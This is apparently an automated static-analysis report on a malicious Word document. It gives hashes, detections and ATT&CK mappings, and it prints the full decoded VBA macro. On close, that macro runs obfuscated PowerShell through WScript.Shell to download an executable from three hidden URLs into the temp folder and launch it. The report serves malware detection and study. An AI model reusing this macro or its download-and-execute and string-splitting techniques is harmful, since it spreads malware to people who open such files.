Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9a2233360eb58350…

MALICIOUS

Office (OOXML)

65.1 KB Created: 2017-05-22 22:37:00 UTC Authoring application: LibreOffice/6.0.3.2$Linux_X86_64 LibreOffice_project/00m0$Build-2 First seen: 2019-05-16
MD5: 4d147deb1ed8c86ab74865926f5cff4d SHA-1: 2e679e43993e62230b2db7aa1e247b3301eccd47 SHA-256: 9a2233360eb58350fb1f59bd691810876d5e96dcf63c0dac27c3108bd06179b0
370 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code

The sample contains VBA macros with an AutoClose function that is triggered upon closing the document. These macros utilize WScript.Shell and CreateObject to execute obfuscated PowerShell commands. The PowerShell script is designed to download and execute a payload from a reconstructed URL, which is heavily obfuscated within the VBA code.

Heuristics 9

  • ClamAV: Doc.Downloader.Powmet-6754309-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powmet-6754309-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    ojbYzLWbiTK = "p" + "ow" + "er" + "she" + "ll $mYRg = n" + "ew-" + "ob" + "ject Sy" + "stem.N" + "et.We" + "bCli" + "ent;$eLcL = ne" + "w-ob" + "ject ra" + "ndo" + "m;  "
               CreateObject("WScript.Shell").Run ojbYzLWbiTK + qETIjefSpE + TmZouuYApDKTLFfrDLvibAbw, 0
    End Function
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    ojbYzLWbiTK = "p" + "ow" + "er" + "she" + "ll $mYRg = n" + "ew-" + "ob" + "ject Sy" + "stem.N" + "et.We" + "bCli" + "ent;$eLcL = ne" + "w-ob" + "ject ra" + "ndo" + "m;  "
               CreateObject("WScript.Shell").Run ojbYzLWbiTK + qETIjefSpE + TmZouuYApDKTLFfrDLvibAbw, 0
    End Function
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    ojbYzLWbiTK = "p" + "ow" + "er" + "she" + "ll $mYRg = n" + "ew-" + "ob" + "ject Sy" + "stem.N" + "et.We" + "bCli" + "ent;$eLcL = ne" + "w-ob" + "ject ra" + "ndo" + "m;  "
               CreateObject("WScript.Shell").Run ojbYzLWbiTK + qETIjefSpE + TmZouuYApDKTLFfrDLvibAbw, 0
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
    Dim gyoEtjsVKarhPbkq
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/relationships In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2178 bytes
SHA-256: 1e3f35d6fdb26fe0680e36bfe82349443eeeb5b73b18bc82e0236bdccd3e3d13
Detection
ClamAV: No threats found
Obfuscation or payload: likely
27 of 46 identifiers look randomly generated (e.g. 'nXFrpnXFrhnXFronXFrtnXFronXFrgnXFrrnXFra') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub AutoClose()
Dim gyoEtjsVKarhPbkq
gyoEtjsVKarhPbkq = "piBjIwypVXxB"
 lgczLPOJlbyvFuRyYnpBhkZb (gyoEtjsVKarhPbkq)
End Sub
Function NPOCIrXGZiHwY()
Dim EXYFFzrcdotFqdz
EXYFFzrcdotFqdz = "$qcVYBGR = 'hnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrgnXFronXFrknXFrenXFrenXFrnnXFranXFrknXFrtnXFrenXFr.nXFrtnXFronXFrpnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1nXFr,nXFrhnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrvnXFrinXFrdnXFrenXFronXFranXFrnnXFranXFrlnXFrynXFrsnXFrtnXFrenXFrsnXFr.nXFrwnXFrenXFrbnXFrcnXFranXFrmnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1nXFr,nXFrhnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrpnXFrhnXFronXFrtnXFronXFrgnXFrrnXFranXFrpnXFrhnXFrynXFrpnXFronXFrinXFrnnXFrtnXFrenXFrrnXFr.nXFrmnXFrenXFrnnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1'  -re" + "place 'nXFr', '';"
NPOCIrXGZiHwY = EXYFFzrcdotFqdz
End Function
Function OCHkNFkDGVtHVAQgkAeQTfUm()
Dim AsFmAalkqsGV
AsFmAalkqsGV = "$bgkEHeJDiO = $qcVYBGR.Sp" + "lit(',');$dRdkqYLYer = $eLcL.next(1, 65536);$nmLnTiCn = $env:te" + "mp + '\' + $dRdkqYLYer + '.exe';for" + "each($crvyHl in $bgkEHeJDiO){try{$mYRg.Down" + "loadFile($crvyHl.ToS" + "tring(), $nmLnTiCn);S" + "tart-Pro" + "cess $nmLnTiCn;break;}catch{write-host $_.Exce" + "ption.Me" + "ssage;}}"
OCHkNFkDGVtHVAQgkAeQTfUm = AsFmAalkqsGV
End Function
Function lgczLPOJlbyvFuRyYnpBhkZb(IVhVynCHwZRz)
Dim ojbYzLWbiTK
Dim qETIjefSpE
Dim TmZouuYApDKTLFfrDLvibAbw
qETIjefSpE = NPOCIrXGZiHwY()
TmZouuYApDKTLFfrDLvibAbw = OCHkNFkDGVtHVAQgkAeQTfUm()
ojbYzLWbiTK = "p" + "ow" + "er" + "she" + "ll $mYRg = n" + "ew-" + "ob" + "ject Sy" + "stem.N" + "et.We" + "bCli" + "ent;$eLcL = ne" + "w-ob" + "ject ra" + "ndo" + "m;  "
           CreateObject("WScript.Shell").Run ojbYzLWbiTK + qETIjefSpE + TmZouuYApDKTLFfrDLvibAbw, 0
End Function

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: da16dc8dc84962872af54a6e7b56f90e5543c9377ff827b4fc67ef165bd42af8
Detection
ClamAV: Doc.Downloader.Powmet-6754309-0
Obfuscation or payload: unlikely